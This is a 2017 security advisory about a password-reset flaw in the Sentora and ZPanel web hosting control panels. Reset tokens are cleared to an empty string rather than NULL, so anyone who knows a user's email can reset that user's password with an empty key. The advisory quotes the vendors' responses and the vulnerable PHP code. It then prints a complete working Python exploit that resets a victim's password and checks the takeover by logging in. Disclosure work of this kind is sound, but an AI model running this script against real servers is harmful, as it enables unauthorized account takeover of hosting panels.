SSD Advisory – Sentora / ZPanel Password Reset Vulnerability
Credit to Author: SSD / Maor Schwartz| Date: Sun, 24 Sep 2017 07:58:32 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerability Summary
The following advisory describes a password reset found in Sentora / ZPanel.
Sentora is “a free to download and use web hosting control panel developed for Linux, UNIX and BSD based servers or computers. The Sentora software can turn a domestic or commercial server into a fully fledged, easy to use and manage web hosting server”.
ZPanel is a free to download and use Web hosting control panel written to work effortlessly with Microsoft Windows and POSIX (Linux, UNIX and MacOSX) based servers or computers. This solution can turn a home or professional server into a fully fledged, easy to use and manage web hosting server.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Hostwinds was informed of the vulnerability, to which they response with “Zpanel is owned by Hostwinds but is no longer in production and has not been supported for some time now. We only keep it active as a legacy control panel and strongly discourage clients from using it. If you would like to continue to use it that is agreeable, but we are not able to offer any kind of support for it other than installing a different control panel over it.”
Sentora was informed of the vulnerability on July 16 2017, while acknowledging the receipt of the vulnerability information, they failed to respond to the technical claims, provide a fix timeline or coordinate an advisory with us.
Vulnerability details
A design flaw in the way Sentora / ZPanel validate reset token allows an attacker to reset the victims password.
The handler of “forgot password” functionality is:
It generates reset token ‘ac_resethash_tx’ and sends an email with reset link to the user.
Then user returns via this link and fills the reset form:
1 2 3 4 5 6 7 8 9 | [ sentora/inc/init.inc.php ] 84 if (isset($_POST[‘inConfEmail’])) { ... 86 $sql = $zdbh->prepare(“SELECT ac_id_pk FROM x_accounts WHERE ac_email_vc = :email AND ac_resethash_tx = :resetkey AND ac_resethash_tx IS NOT NULL AND ac_deleted_ts IS NULL”); ... 93 $crypto->SetPassword($_POST[‘inNewPass’]); ... 99 $sql = $zdbh->prepare(“UPDATE x_accounts SET ac_resethash_tx = ”, ac_pass_vc = :password, ac_passsalt_vc = :salt WHERE ac_id_pk = :uid”); |
Reset token is checked and if it matches the password it is set to requested new password and reset token is invalidated.
The problem is that while invalidating the token it is not set to NULL as it should be, but instead it is set to empty string.
This means that if user used password reset, anyone can reset his password again with empty token. We only need to know his email adress which is only used to identify the user, no email is sent to that address.
Proof of Concept
Usage:
1 | resetagain.py http://target/ email newpassword [username] |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | #!/usr/bin/env python3 # pylint: disable=C0103 # # requires requests and lxml library # pip3 install requests lxml # import sys from urllib.parse import urljoin import lxml.html import requests try: requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) except: pass if len(sys.argv) < 4: print(“”) print(“usage:”) print(“%s http://target/ email newpassword [username]” % sys.argv[0]) print(“”) print(“If username is specified then login will be attempted to verify password change.”) print(“”) sys.exit() TARGET = sys.argv[1] USER_EMAIL = sys.argv[2] USER_NEWPASS = sys.argv[3] USER_NAME = sys.argv[4] if len(sys.argv) > 4 else “” def get_form(getpath, formname, params=None): resp = session.get(urljoin(TARGET, getpath), params=params) tree = lxml.html.fromstring(resp.content) form = tree.xpath(‘//form[@name=”%s”]’ % formname) if not form: return None form = form[0] formdata = {} for element in form.xpath(‘.//input’): formdata[element.name] = element.value if element.value else “” return (form.action, formdata) def post_form(formaction, data, params=None): return session.post(urljoin(TARGET, formaction), params=params, data=data, allow_redirects=False) session = requests.Session() session.verify = False print(“Get reset form”) form = get_form(“/”, “frmZConfirm”, {“resetkey”: “dummy”}) print(“Reset password”) formaction, formdata = form formdata[“inConfEmail”] = USER_EMAIL formdata[“inNewPass”] = formdata[“inputNewPass2”] = USER_NEWPASS resp = post_form(formaction, formdata, {“resetkey”: “”}) if USER_NAME: #session.cookies.clear() print(“Test login”) print(“Get login form”) form = get_form(“/”, “frmZLogin”) print(“Login”) formaction, formdata = form formdata[“inUsername”] = USER_NAME formdata[“inPassword”] = USER_NEWPASS resp = post_form(formaction, formdata) if “invalidlogin” in resp.headers.get(“location”, “”): print(“Failed!”) sys.exit() print(“OK”) session.get(urljoin(TARGET, “/?logout”)) |